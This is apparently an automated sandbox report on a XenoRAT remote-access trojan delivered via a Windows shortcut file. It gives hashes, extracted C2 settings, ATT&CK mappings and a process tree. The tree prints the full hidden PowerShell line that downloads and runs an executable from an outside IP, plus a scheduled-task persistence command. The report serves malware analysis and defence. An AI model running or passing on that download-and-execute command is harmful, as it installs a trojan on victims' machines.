xenorat | 1e2f9bb7d4aee809ae89704f6225503bf72b09ca897986ab70a00332fdf10ae7

General

Target

1e2f9bb7d4aee809ae89704f6225503bf72b09ca897986ab70a00332fdf10ae7.lnk
Size

2KB
MD5

4db66f511c6604f1be1ae032b84f8358
SHA1

8ab73293cf42ead05326874845622cea78822c8f
SHA256

1e2f9bb7d4aee809ae89704f6225503bf72b09ca897986ab70a00332fdf10ae7
SHA512

2cf294db093bbe00ce504d2817dced1d62d7eb8af4a7183836fb4af0288f7e5018cd2226bea522ad5464b911317bd184bb36303e766fa4a59239f87878510c67

Score

10^/10

xenorat discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://94.156.67.244:5679/abincontents/sthdytjdtuoigfyuqurbjzksbfgbshbfabirgtrht/ioihirabgbrdhbgwhkebgrsryftsevrfsyubkhabvyrgbksdtg/Display1.exe

Extracted

Family

xenorat

C2

45.66.231.63

Mutex

Holid_rat_nd8859g

Attributes

delay
60400
install_path
appdata
port
1243
startup_name
HDdisplay

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat
Blocklisted process makes network request 1 IoCs

Processes:

PoWersheLl.exe

flow pid process

6 4884 PoWersheLl.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

PoWersheLl.exe

pid process

4884 PoWersheLl.exe
Downloads MZ/PE file

flow	pid	process
6	4884	PoWersheLl.exe

pid	process
4884	PoWersheLl.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exeDisplayResolution.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	DisplayResolution.exe

Executes dropped EXE 10 IoCs

Processes:

DisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exe

pid	process
1572	DisplayResolution.exe
3192	DisplayResolution.exe
804	DisplayResolution.exe
1776	DisplayResolution.exe
1720	DisplayResolution.exe
5100	DisplayResolution.exe
4444	DisplayResolution.exe
2360	DisplayResolution.exe
1096	DisplayResolution.exe
4664	DisplayResolution.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

DisplayResolution.exeDisplayResolution.exe

description	pid	process	target process
PID 1572 set thread context of 3192	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 set thread context of 804	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 set thread context of 1776	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 set thread context of 1720	1572	DisplayResolution.exe	DisplayResolution.exe
PID 5100 set thread context of 4444	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 set thread context of 2360	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 set thread context of 1096	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 set thread context of 4664	5100	DisplayResolution.exe	DisplayResolution.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

4636 1720 WerFault.exe DisplayResolution.exe
4836 4444 WerFault.exe DisplayResolution.exe

pid	pid_target	process	target process
4636	1720	WerFault.exe	DisplayResolution.exe
4836	4444	WerFault.exe	DisplayResolution.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

DisplayResolution.exeschtasks.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

1596 schtasks.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

PoWersheLl.exe

pid process

4884 PoWersheLl.exe
4884 PoWersheLl.exe

pid	process
1596	schtasks.exe

pid	process
4884	PoWersheLl.exe
4884	PoWersheLl.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

PoWersheLl.exeDisplayResolution.exeDisplayResolution.exe

description	pid	process
Token: SeDebugPrivilege	4884	PoWersheLl.exe
Token: SeDebugPrivilege	1572	DisplayResolution.exe
Token: SeDebugPrivilege	5100	DisplayResolution.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exePoWersheLl.exeDisplayResolution.exeDisplayResolution.exeDisplayResolution.exe

description	pid	process	target process
PID 704 wrote to memory of 4884	704	cmd.exe	PoWersheLl.exe
PID 704 wrote to memory of 4884	704	cmd.exe	PoWersheLl.exe
PID 4884 wrote to memory of 1572	4884	PoWersheLl.exe	DisplayResolution.exe
PID 4884 wrote to memory of 1572	4884	PoWersheLl.exe	DisplayResolution.exe
PID 4884 wrote to memory of 1572	4884	PoWersheLl.exe	DisplayResolution.exe
PID 1572 wrote to memory of 3192	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 3192	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 3192	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 3192	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 3192	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 3192	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 3192	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 3192	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 804	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 804	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 804	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 804	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 804	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 804	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 804	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 804	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1776	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1776	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1776	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1776	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1776	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1776	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1776	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1776	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1720	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1720	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1720	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1720	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1720	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1720	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1720	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1572 wrote to memory of 1720	1572	DisplayResolution.exe	DisplayResolution.exe
PID 1776 wrote to memory of 5100	1776	DisplayResolution.exe	DisplayResolution.exe
PID 1776 wrote to memory of 5100	1776	DisplayResolution.exe	DisplayResolution.exe
PID 1776 wrote to memory of 5100	1776	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 4444	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 4444	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 4444	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 4444	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 4444	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 4444	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 4444	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 4444	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 2360	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 2360	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 2360	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 2360	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 2360	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 2360	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 2360	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 2360	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 1096	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 1096	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 1096	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 1096	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 1096	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 1096	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 1096	5100	DisplayResolution.exe	DisplayResolution.exe
PID 5100 wrote to memory of 1096	5100	DisplayResolution.exe	DisplayResolution.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\1e2f9bb7d4aee809ae89704f6225503bf72b09ca897986ab70a00332fdf10ae7.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:704

C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLl.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -hiDdEn -Command PkgMgr.exe;(new-object System.Net.WebClient).DownloadFile('http://94.156.67.244:5679/abincontents/sthdytjdtuoigfyuqurbjzksbfgbshbfabirgtrht/ioihirabgbrdhbgwhkebgrsryftsevrfsyubkhabvyrgbksdtg/Display1.exe','DisplayResolution.exe');./'DisplayResolution.exe';(get-item 'DisplayResolution.exe').Attributes += 'Hidden';
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4884

C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
"C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1572

C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3192

C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:804

C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /Create /TN "HDdisplay" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8CBA.tmp" /F
5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1596

C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1776

C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
"C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5100

C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
6⤵
- Executes dropped EXE
PID:4444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 88
7⤵
- Program crash
PID:4836

C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2360

C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1096

C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4664

C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
4⤵
- Executes dropped EXE
PID:1720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1720 -s 80
5⤵
- Program crash
PID:4636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1720 -ip 1720
1⤵
PID:3756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 4444 -ip 4444
1⤵
PID:5076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DisplayResolution.exe.log

Filesize
706B

MD5
d95c58e609838928f0f49837cab7dfd2

SHA1
55e7139a1e3899195b92ed8771d1ca2c7d53c916

SHA256
0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339

SHA512
405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe

Filesize
253KB

MD5
e74db56e352d5015304af19ec21ffeb5

SHA1
cf026e98f937ea8989a789fa8e43895f3f642431

SHA256
54eafd9bd8105444ccd57e92dc3bee43166532da0a71e26686fe9913956f6243

SHA512
32854f3b960a17c9051714d4b456517607f21e57547c6711b4ae2020c54462ca554edc01d789052a66e082637ed6cf9854e624b6d938c6c852a282de13299dc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kupudkmk.va2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp8CBA.tmp

Filesize
1KB

MD5
c1fb6c7a2a252aad9a614b2a29769d98

SHA1
f6d4f83e1cb6612498178b151edfc155432138c6

SHA256
da84b1e8d3d3d979614cb431546c9806ca977b2cf74c5b86e42598408814f292

SHA512
3569c7553fda61cf8af6a0e7480e8fc4432ba7c8b6e00fb41e64ea1d73debf2000618ea1bdd193668ddbe43b1d77ae3c934ed80ffca983afc680cd8d595d2529

Download Submit
memory/1572-30-0x0000000005A80000-0x0000000005B12000-memory.dmp

Filesize
584KB

Download
memory/1572-25-0x0000000000CB0000-0x0000000000CF8000-memory.dmp

Filesize
288KB

Download
memory/1572-26-0x0000000003190000-0x0000000003196000-memory.dmp

Filesize
24KB

Download
memory/1572-27-0x0000000005860000-0x00000000058A0000-memory.dmp

Filesize
256KB

Download
memory/1572-28-0x0000000005940000-0x00000000059DC000-memory.dmp

Filesize
624KB

Download
memory/1572-29-0x0000000005F90000-0x0000000006534000-memory.dmp

Filesize
5.6MB

Download
memory/1572-31-0x0000000005740000-0x0000000005746000-memory.dmp

Filesize
24KB

Download
memory/3192-32-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4884-14-0x00007FF97E750000-0x00007FF97F211000-memory.dmp

Filesize
10.8MB

Download
memory/4884-23-0x00007FF97E750000-0x00007FF97F211000-memory.dmp

Filesize
10.8MB

Download
memory/4884-2-0x00007FF97E753000-0x00007FF97E755000-memory.dmp

Filesize
8KB

Download
memory/4884-13-0x00007FF97E750000-0x00007FF97F211000-memory.dmp

Filesize
10.8MB

Download
memory/4884-4-0x00000212EA880000-0x00000212EA8A2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads